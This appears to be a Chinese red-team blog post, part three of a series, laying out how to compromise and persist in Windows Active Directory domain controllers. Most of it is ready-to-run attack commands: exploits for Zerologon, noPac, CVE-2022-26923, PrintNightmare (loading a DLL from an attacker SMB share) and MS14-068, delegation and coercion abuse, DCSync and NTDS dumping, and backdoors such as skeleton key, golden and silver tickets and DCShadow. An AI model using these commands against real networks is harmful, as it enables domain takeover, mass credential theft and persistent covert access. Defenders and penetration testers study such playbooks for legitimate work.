红队知识体系梳理3-攻击域控制器

三.攻击域控制器

3.1 通用漏洞

使用windows通用漏洞攻击机器获取权限

3.1.1 zerologon

利用CVE-2020-1472 Netlogon协议漏洞置空域机器用户密码,随后进行dcsync。影响2008-2004。注意:置空域机器用户密码会导致域控机器脱域,导致域内依赖ldap提供的服务通信异常,DNS服务异常,需要及时还原

#检测是否存在漏洞
mimikatz.exe "lsadump::zerologon /target:192.168.10.250 /account:test$" exit
python zerologon_exploit.py 192.168.10.250  -scan
#利用漏洞重置机器用户密码
mimikatz.exe "lsadump::zerologon /target:192.168.10.250 /account:test$  /exploit" exit

python zerologon_exploit.py  192.168.10.250  -exp
#使用机器用户dcsync

python secretsdump.py -no-pass -just-dc qaq/TEST$@192.168.10.250   
python3 secretsdump.py -no-pass -just-dc qaq/TEST\$@192.168.10.250  #根据系统特性可能需要转义$


#从SAM文件中恢复机器用户密码
mimikatz.exe "lsadump::postzerologon /target:qaq.com /account:TEST$ " exit  #不能代理执行

python zerologon_exploit.py  192.168.10.250  -recover 
3.1.2 nopac

利用CVE-2021-42278 sAMAccountName名绕过漏洞和CVE-2021-42287 kerberos TGS认证漏洞组合利用,创建机器用户S4U2self生成域管权限ST。影响:windows 2008-2022。需要域账户

python3 sam_the_admin.py  qaq/test:Aa123456 -dc-ip 192.168.11.250  -debug
python3  sam_the_admin.py qaq/test:Aa123456 -dc-ip 192.168.11.250 -dump -debug  #dcsync
python3  sam_the_admin.py qaq/test:Aa123456 -dc-ip 192.168.11.250  -shell -debug

#检测漏洞
noPac.exe scan -domain qaq.org -user admin -pass 'Aa123456'

#利用漏请求域管用户 cifs服务ST,用于访问共享
noPac.exe -domain qaq.org -user admin -pass 'Aa123456' /dc test5-2012.qaq.org /mAccount saulgoodman /mPassword passW0rd /service cifs /ptt
#利用漏请求域管用户 ldap服务ST,用于dcsync
noPac.exe -domain qaq.org -user admin -pass 'Aa123456' /dc test5-2012.qaq.org /mAccount saulgoodman /mPassword passW0rd /service ldap /ptt
#利用漏请求域管用户HOST/RPCSS服务ST,用于执行命令。远程利用可
noPac.exe -domain qaq.org -user admin -pass 'Aa123456' /dc test5-2012.qaq.org /mAccount saulgoodman /mPassword passW0rd /service HOST /ptt
noPac.exe -domain qaq.org -user admin -pass 'Aa123456' /dc test5-2012.qaq.org /mAccount saulgoodman /mPassword passW0rd /service RPCSS /ptt


#远程利用导出注入LDAP dcsync,先用MIMIkatz导出票据
python ticket_converter.py ticket.kirbi ticket.ccache    #kirbi转换为impacket ccache票据格式
export KRB5CCNAME=ticket.ccache
python secretsdump.py -k -no-pass test5-2012.qaq.org  -just-dc 
3.1.3 CVE-2022-26923

利用CVE-2022-26923 ADcs提权漏洞,创建机器用户并修改dNSHostName属性(DNS属性)为域控机器名,申请域控机器账户的证书然后进行dcsync。需要域内凭证。影响windows 2008-2022。

certutil -dump -v
certipy find "qaq.org/test:Aa123456@192.168.11.250" -debug #域外
#创建机器用户 dns属性设为域控机器名 
certipy account create "qaq.org/admin:Aa123456@192.168.11.250" -dc-ip 192.168.11.250 -user "aaaa" -dns "test5-2012.qaq.org" -debug
#申请创建的机器账户证书,-ca为CA Name,target为CA host
certipy req -dc-ip 192.168.11.250 "qaq.org/aaaa$:udA3HVjoph9vHbNz@test5-2012.qaq.org" -ca qaq-TEST5-2012-CA -template Machine -debug
#使用证书发起kerberos认证获取域控机器账户hash
certipy auth -pfx  test5-2012.pfx  -dc-ip 192.168.11.250 -debug
python secretsdump.py -hashes 2780694409376cd447f5894f5b407089:2780694409376cd447f5894f5b407089  qaq/test5-2012$@192.168.11.250 -just-dc
3.1.4 PrintNightmare

利用CVE-2021-1675 打印机服务漏洞加载DLL执行代码。影响2008-2019。需要域内凭证,实测2016和2019可利用成功

使用impacket rpcdump.py脚本检测print spooler服务

python rpcdump.py 192.168.10.250 | findstr MS-RPRN
python rpcdump.py 192.168.10.250 | findstr MS-PAR

将dll放在共享目录,设置成可匿名访问,利用打印机服务需要一个域内凭证,域控需要获取DLL

linux 安装samba服务设置smb共享
https://github.com/3gstudent/Invoke-BuildAnonymousSMBServer

#windows 设置文件共享服务器

#设置匿名SMB共享
powershell -exec bypass -command "&{ import-module .\Invoke-BuildAnonymousSMBServer.ps1;Invoke-BuildAnonymousSMBServer -Path c:\share -Mode Enable}"
#关闭
powershell -exec bypass -command "&{ import-module .\Invoke-BuildAnonymousSMBServer.ps1;Invoke-BuildAnonymousSMBServer -Path c:\share -Mode Disable}"

https://github.com/cube0x0/CVE-2021-1675

python CVE-2021-1675.py qaq.com/admin:Aa123456@192.168.10.250   '\\192.168.10.104\smb\adduserx64.dll'

SharpPrintNightmare.exe   '\\192.168.10.104\smb\adduserx64.dll'  '\\192.168.10.250'
SharpPrintNightmare.exe  '\\192.168.10.104\smb\adduserx64.dll'   '\\192.168.10.250' qaq.com  admin Aa123456
SharpPrintNightmare.exe c:\adduserx64.dl #本地提权
3.1.5 ms14-068

利用CVE-2014-6324漏洞,申请用户TGT修改PAC为域管权限,获取域控权限。需要一个域内凭证

#会生成ccache票据
ms14-068.exe -u 域成员名@域名 -s 域成员sid -d 域控制器地址 -p 域成员密码
export KRB5CCNAME=ticket.ccache
python secretsdump.py -k -no-pass test5-2012.qaq.org  -just-dc 
3.1.6 ms17-010

使用ms17-010漏洞攻击域控制器获取权限。存在杀软导致ms17-010利用失败时,可使用匿名管道或一个普通用户凭证发payload绕过杀软

攻击PC终端可能会导致蓝屏重启

3.1.7 BlueKeep

利用cve-2019-0708 RDP远程代码执行漏洞获取权限,可能会蓝屏

利用:
https://github.com/cbwang505/CVE-2019-0708-EXP-Windows
https://github.com/RICSecLab/CVE-2019-0708
metasploit cve-2019-0708 exp模块

3.1.8 SMBGhost

利用CVE-2020-0796 SMB v3远程代码执行漏洞获取权限,可能会蓝屏。只影响Windows 10 1903-1909

利用:
https://github.com/ZecOps/CVE-2020-0796-RCE-POC
metasploit CVE-2020-0796 exp模块

3.2 委派攻击

3.2.1 非约束委派

拿到非约束委派服务机器权限后,dump lsass进程票据,寻找域管票据。或者诱导域控访问非约束委派服务,然后抓域管TGT

监听认证请求,也可以直接dump lsass票据

#监听来自域控机器账户的TGT认证请求
Rubeus.exe monitor /interval:1 /filteruser:test$

Rubeus.exe ptt /ticket:base64 #注入
  • 利用spooler打印机bug漏洞强制域控请求

2012 R2以上可利用成功,2012 r2以下版本不在rpc中暴露Spooler服务

SpoolSample.exe 目标主机名 回连主机名
python dementor.py -d domain -u username -p password 回连ip 目标ip
python3 printerbug.py qaq.com/admin:"Aa123456"@192.168.10.250  回连主机

  • 利用PetitPotam MS-EFSRPC远程文件加密协议漏洞强制域请求

2008-2012可匿名触发,其他版本需要域内凭证

python3  PetitPotam.py   -d qaq.org -u admin -p Aa123456   WIN-7GPBH5JIVUL.qaq.org 192.168.11.250 

PetitPotam.exe  WIN-7GPBH5JIVUL.qaq.org  192.168.11.250 1

3.2.2 约束委派

拿到约束委派服务账户凭证后,利用S4U2协议申请委派的机器服务票据。只能申请委派指定机器、委派指定服务的票据

  • impacket 利用
#使用约束委派服务账户  申请域管用户的LDAP服务票据
python getST.py -dc-ip 192.168.11.250 -spn ldap/test5-2012.qaq.org  -impersonate administrator  qaq.org/WIN-7GPBH5JIVUL$ -hashes ca76767743d85196fa610bd2f1c9d48e:ca76767743d85196fa610bd2f1c9d48e

export KRB5CCNAME=ticket.ccache
python secretsdump.py -k -no-pass test5-2012.qaq.org   -just-dc  -outputfile qaq
  • 使用kekeo利用

https://github.com/gentilkiwi/kekeo
1.先申请约束委派服务账户TGT

kekeo.exe "tgt::ask /user:WIN-7GPBH5JIVUL$ /domain:qaq.org /password:Aa123456" exit
kekeo.exe "tgt::ask /user:WIN-7GPBH5JIVUL$ /domain:qaq.org /NTLM:ca76767743d85196fa610bd2f1c9d48e" exit

2.S4U2self协议申请域管账户访问本机的ST1,S4U2proxy协议申请域管访问域控的LDAP ST2票据。

#会生成二个票据,ST1和st2
kekeo.exe "tgs::s4u /tgt:1.kirbi /user:Administrator@qaq.org /service:ldap/test5-2012.qaq.org" exit  
 
mimikatz.exe "kerberos::ptt ldap.kribi" exit
mimikatz.exe "lsadump::dcsync /domain:qaq.org /dc:test5-2012.qaq.org /csv /all" exit

3.2.3 资源约束委派

配置机器主机属性msDS-AllowedToActOnBehalfOfOtherIdentity值,配置机器资源委派属性。然后利用S4U2协议申请票据获取权限

1.配置资源委派属性

新建机器用户

#创建机器用户
powershell -exec bypass  "&{import-module .\Powermad.ps1; New-MachineAccount -MachineAccount xxx -Password $(ConvertTo-SecureString '123456' -AsPlainText -Force) -Verbose }"
#查询新建机器的SID
powershell -exec bypass "&{import-module .\powerview.ps1;  Get-DomainComputer xxx -Properties objectsid | Select -Expand objectsid}"

2.修改msds-allowedtoactonbehalfofotheridentity属性为新建的机器用户SID


powershell -exec bypass
import-module .\powerview.ps1; 

#修改msds-allowedtoactonbehalfofotheridentity属
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-21-476141730-3945430675-3953811658-1198)"
$SDBytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDBytes, 0)
Get-DomainComputer win-2012 | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} -Verbose

#查询msds-allowedtoactonbehalfofotheridentity属性
Get-DomainComputer win-2012  -Properties msds-allowedtoactonbehalfofotheridentity
#清空msds-allowedtoactonbehalfofotheridentity属性
Set-DomainObject win-2012  -Clear 'msds-allowedtoactonbehalfofotheridentity' -Verbose
#查询所有机器的msds-allowedtoactonbehalfofotheridentity属性
powershell -exec bypass "&{import-module .\powerview.ps1; Get-NetComputer  | Select-Object -Property name,msds-allowedtoactonbehalfofotheridentity}"

3.发起S4u2请求

  • impacket 利用
#利用s4u2协议域管用户访问机器的票据
python getST.py -dc-ip 192.168.11.250 -spn cifs/win-2012.qaq.org  -impersonate administrator  qaq.org/xxx$:123456

export KRB5CCNAME=administrator.ccache
python3 wmiexec.py -no-pass -k WIN-2012.qaq.org   -dc-ip 192.168.11.250 
  • Rubeus利用

dump lsass获取域账户的kerberos rc4-hmac字段

知道域账户密码明文,也可以生成kerberos rc4-hmac字段

Rubeus.exe hash /user:xx /password:Aa123456 /domain:qaq.org

#利用s4u2协议域管用户访问机器的票据,并注入
Rubeus.exe s4u /user:test /rc4:6C4FD556DB12BE51BACD9A3CC19D486E /impersonateuser:administrator /msdsspn:cifs/WIN-7GPBH5JIVUL.qaq.org /ptt

3.3 域管凭证

1.查询域管组账户登录的非域控机器,定向攻击成功后dump lsass拿域管凭证
2.查询域控登录的会话session,定向攻击这些账户;

3.4 ACL

查看高权限目标对象的ACL安全访问控制列表,扩展到目标的攻击路径。通过间接攻击对应的DACL对象获取高权限目标权限
重点是域对象DACL,域管组/域管DACL,域控DACL

3.5 域控信息收集

获取到域控权限后,收集域控制器的有效信息,以便进行扩大战果

  • dcsync
python secretsdump.py -hashes 2780694409376cd447f5894f5b407089:2780694409376cd447f5894f5b407089  qaq/test5-2012$@192.168.11.250 -outputfile qaq
python secretsdump.py  qaq/administrator:Aa123456@192.168.10.250   -outputfile qaq
python secretsdump.py  qaq/administrator:Aa123456@192.168.10.250  -outputfile qaq

export KRB5CCNAME=ticket.ccache
python secretsdump.py -k -no-pass test5-2012.qaq.org   -just-dc  -outputfile qaq

mimikatz.exe "lsadump::dcsync /domain:qaq.com /dc:test.qaq.com /csv /all" exit
mimikatz.exe "lsadump::dcsync /domain:qaq.com /dc:test.qaq.com  /user:krbtgt /csv " exit 
  • ntds

#使用vssadmin创建卷影备份
vssadmin create shadow /for=C:
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy12\windows\NTDS\ntds.dit C:\ntds.dit
vssadmin delete shadows /for=C: /quiet

#导出system
reg save hklm\system c:\system.hive

#读取ntds
python3 secretsdump.py -system SYSTEM -ntds ntds.dit LOCAL
  • 日志

导出域控登录认证日志,定位用户登录的机器名

wevtutil qe security /q:"Event[System[(EventID=4624 or EventID=4768 or EventID=4776)]]" /f:text /rd:true /c:2000 > EvtLogon.dat

然后用python脚本处理导出的筛选日志

  • DNS

通过DNS Manager获取DNS记录


Dnscmd.exe . /EnumZones   #列出区域
Dnscmd . /ZoneInfo qaq.org  #列出区域
Dnscmd . /ZonePrint qaq.org  #列出指定区域记录

当获取域管组用户凭证时,远程通过DNS Manager读取DNS记录
在未安装Remote Server Administration Tools (RSAT)的系统上执行dnscmd,需要满足以下条件:

dnscmd保存在路径C:\Windows\System32下
dnscmd.exe.mui保存在C:\Windows\System32\en-US下(该位置比较通用,也可以在其他位置)

使用mimikatz注入域管凭证,然后使用Dnscmd 远程读取DNS记录

Dnscmd test5-2012.qaq.org /EnumZones
Dnscmd   test5-2012.qaq.org . /ZonePrint qaq.org 

3.6 域持久化

3.6.1 Skeleton key

通过在域控制器上安装Skeleton key注入Lsass进程内存,使所有域用户可使用一个密码(原密码仍有效)。域控重启失效

#密码mimikatz
mimikatz.exe "privilege::debug"  "misc::skeleton" exit

3.6.2 黄金票据

在拥有krbtg 用户的ntlm-hash值后,可以伪造任意用户的TGT(as请求)

 mimikatz.exe "kerberos::golden /user:administrator /domain:qaq.com /sid:S-1-5-21-476141730-3945430675-3953811658 /krbtgt:a61897c242cd389e6a6ba05b7b99fcda   /ticket:gold.kirbi" exit
 
 mimikatz.exe "kerberos::purge"  "kerberos::ptt gold.kirbi" exit

3.6.3 白银票据

在拥有服务账户的ntlm-hash值后,可以伪装任意用户访问该服务的ST(TGS请求)

#执行命令需要HOST 和RPCSS服务

mimikatz.exe "kerberos::golden /domain:qaq.com /sid:S-1-5-21-476141730-3945430675-3953811658 /target:test.qaq.com /rc4:eb62a802b02097cc0ec0de4c0815ac10 /service:cifs /user:administrator /ptt" exit

3.6.4 影子凭据

shadow credential攻击。需要2016域功能级别,开启AD CS或者CA。
写入目标对象的msDS-KeyCredentialLink属性,给目标对象添加公钥。利用PKINIT证书验证方式使用私钥请求目标对象TGT,也可以获取目标对象的NTLM-hash。

影子凭据 批量利用工具:
https://github.com/Dec0ne/ShadowSpray

3.6.5 AdminSDHolder

AdminSDHolder是位于Active Directory中的系统分区(CN=AdminSDHolder,CN=System,DC=test,DC=loca)中的一个对象,作为域内一些特权组的安全模版。有一个进程(SDProp),每隔60分钟运行一次,将这个对象的ACL复制到某些特权组成员的对象的ACL里面去。

一般用于后门,新增一条ACE到AdminSDHolder对象,60分钟后ace规则会同步到特权组,ACE授权的用户也具有特权组资源的访问权限

3.6.6 DCShadow

dcshadow攻击。伪装成DC,让正常DC通过伪造的DC中复制数据,从而修改LDAP达到指定目的。dcysnc是从dc同步数据,dcshadow是伪装成dc让正常DC复制数据。

  • mimikatz添加域管账户

1.使用mimikatz更改配置架构和注册SPN值,伪装成dc,修改primarygroupid属性添加域管账户

!+ #注册并启动一个具有system权限的任务
!processtoken #获取system权限令牌
lsadump::dcshadow /object:CN=test,CN=Users,DC=qaq,DC=org /attribute:primarygroupid /value:512  #将对象的primarygroupid属性修改为512

或者是给对象添加sidhistory后门

lsadump::dcshadow /object:CN=test,CN=Users,DC=qaq,DC=org /attribute:sidhistory /value:S-1-5-21-1900941692-2128706383-2830697502-500

2.新开窗口域管权限运行mimikatz,其他dc同步修改的数据

lsadump::dcshadow /push

3.6.7 SeEnableDelegationPrivilege

SeEnableDelegationPrivilege:信任计算机和用户可以委派,默认只有域Administrators组才有。实战中不多见,一般用于拿到域控权限后用作权限维持。配置了SeEnableDelegationPrivilege特权的用户,就可以进行委派攻击任意机器。需要通过组策略配置SeEnableDelegationPrivilege特权

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值